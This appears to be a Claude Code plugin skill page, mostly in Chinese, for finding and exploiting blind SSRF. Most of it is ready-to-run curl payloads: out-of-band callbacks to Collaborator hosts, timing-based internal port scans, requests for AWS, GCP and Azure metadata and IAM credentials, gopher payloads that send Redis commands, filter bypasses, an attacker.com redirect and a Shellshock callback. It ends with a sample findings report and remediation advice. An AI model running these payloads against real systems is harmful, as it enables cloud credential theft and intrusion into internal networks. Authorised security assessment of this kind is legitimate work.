Detects and exploits blind SSRF vulnerabilities using out-of-band techniques (Burp Collaborator, DNS), timing analysis for internal network/port scanning, and cloud metadata access (AWS, GCP, Azure).
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersecurity-skills-zh:performing-blind-ssrf-exploitationThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- 测试服务器端响应未被反映的 URL/Webhook 输入参数时
# 常见易受 SSRF 攻击的参数:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=
# 测试 URL 获取功能
curl -X POST http://target.com/api/fetch-url \
-H "Content-Type: application/json" \
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
# 测试 Webhook 配置
curl -X POST http://target.com/api/webhooks \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
# 测试图片/头像 URL
curl -X POST http://target.com/api/profile/avatar \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
# 测试文档导入
curl -X POST http://target.com/api/import \
-H "Content-Type: application/json" \
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
# 使用 Burp Collaborator 进行 DNS + HTTP 回调
# 生成 Collaborator 载荷:xxxxxx.oastify.com
# 基于 DNS 的检测(即使 HTTP 被封锁也有效)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 DNS 查询
# 基于 HTTP 的检测
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 HTTP 请求
# interact.sh 替代方案
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://RANDOM.interact.sh"}'
# 监控 interact.sh 仪表板的交互
# 通过盲 SSRF 扫描内部 IP 段
# 使用时序差异判断主机是否存活
# 扫描常见内网段
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
start=$(date +%s%N)
curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "$ip: ${elapsed}ms"
done
# 通过盲 SSRF 进行端口扫描
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
curl -X POST http://target.com/api/fetch \
-d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
echo "端口 $port 已测试"
done
# 使用 gopher:// 进行更高级的内部服务交互
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
# AWS 元数据(IMDSv1)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# AWS IAM 凭证
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP 元数据
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
# Azure 元数据
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
# DNS 重绑定访问元数据(绕过 IP 封锁)
# 使用 rebinder.net 等服务创建 DNS 重绑定域名
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
# IP 表示绕过
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}' # 十六进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}' # 十进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}' # 八进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}' # 简短形式
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}' # IPv6
# URL 解析混淆
curl -X POST http://target.com/api/fetch -d '{"url": "http://[email protected]/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'
# 基于重定向的绕过
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
# DNS 重绑定
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'
# 通过 DNS 外泄数据(仅 DNS 回调有效时)
# 如果能实现反映数据的服务的 SSRF:
# 链条:SSRF -> 内部服务 -> DNS 外泄
# 使用 gopher 协议执行 Redis 命令
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
# 将盲 SSRF 与内部主机的 Shellshock 结合利用
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# 配合 User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"
# 通过 SSRF 利用内部服务
# Redis:写入 SSH 密钥
# Memcached:注入序列化对象
# Elasticsearch:读取索引
# 内部 API:访问已认证端点
| 概念 | 定义 |
|---|---|
| 盲 SSRF(Blind SSRF) | 服务器发出请求但响应对攻击者不可见 |
| 带外检测(Out-of-Band Detection) | 使用外部回调(DNS、HTTP)确认 SSRF 执行 |
| DNS 重绑定(DNS Rebinding) | 通过更改 DNS 解析绕过基于 IP 的 SSRF 过滤器的技术 |
| 云元数据(Cloud Metadata) | 可通过 SSRF 访问的实例元数据端点,用于凭证窃取 |
| Gopher 协议 | 允许构造载荷与内部 TCP 服务交互的协议 |
| 时序检测(Time-Based Detection) | 通过测量响应时间差异检测 SSRF 成功 |
| SSRF 链(SSRF Chain) | 将 SSRF 与其他漏洞结合以获得更大影响 |
| 工具 | 用途 |
|---|---|
| Burp Collaborator | 用于 DNS 和 HTTP 回调检测的带外交互服务器 |
| interact.sh | ProjectDiscovery 的开源带外交互工具 |
| SSRFmap | 自动化 SSRF 检测和利用框架 |
| Gopherus | 生成用于通过 SSRF 利用内部服务的 gopher 载荷 |
| webhook.site | 用于测试 SSRF 回调的免费 Webhook 接收器 |
| rebinder.net | 用于绕过 SSRF IP 过滤器的 DNS 重绑定服务 |
## 盲 SSRF 评估报告
- **目标**:http://target.com/api/fetch-url
- **检测方法**:Burp Collaborator DNS + HTTP 回调
- **内部访问已确认**:是
### 发现
| # | 输入点 | 载荷 | 检测 | 影响 |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url 参数 | http://collaborator | HTTP 回调 | 确认 SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | 时序(2.3s vs 0.1s) | 云元数据 |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis 写入已确认 | 潜在 RCE |
### 内网地图
| 主机 | 端口 | 服务 | 可访问 |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | 是 |
| 10.0.0.10 | 9200 | Elasticsearch | 是 |
| 169.254.169.254 | 80 | AWS 元数据 | 是 |
### 修复建议
- 对 URL 获取实施允许的外部域白名单
- 封锁对私有 IP 段和云元数据端点的请求
- 对 AWS 实例元数据使用 IMDSv2(需要令牌)
- 禁用未使用的 URL 协议(gopher、file、dict)
- 为应用程序服务器实施网络级别分段
npx claudepluginhub killvxk/cybersecurity-skills-zhDetects and exploits blind SSRF vulnerabilities using out-of-band techniques, Burp Collaborator DNS/HTTP callbacks, and timing analysis to access internal networks and cloud metadata endpoints. Useful for web app and cloud security assessments.
Detects and exploits blind Server-Side Request Forgery vulnerabilities using out-of-band, DNS, and timing techniques to reach internal services and cloud metadata endpoints.
Detects and exploits blind SSRF vulnerabilities using out-of-band techniques, DNS interactions, and timing analysis to access internal services and cloud metadata endpoints.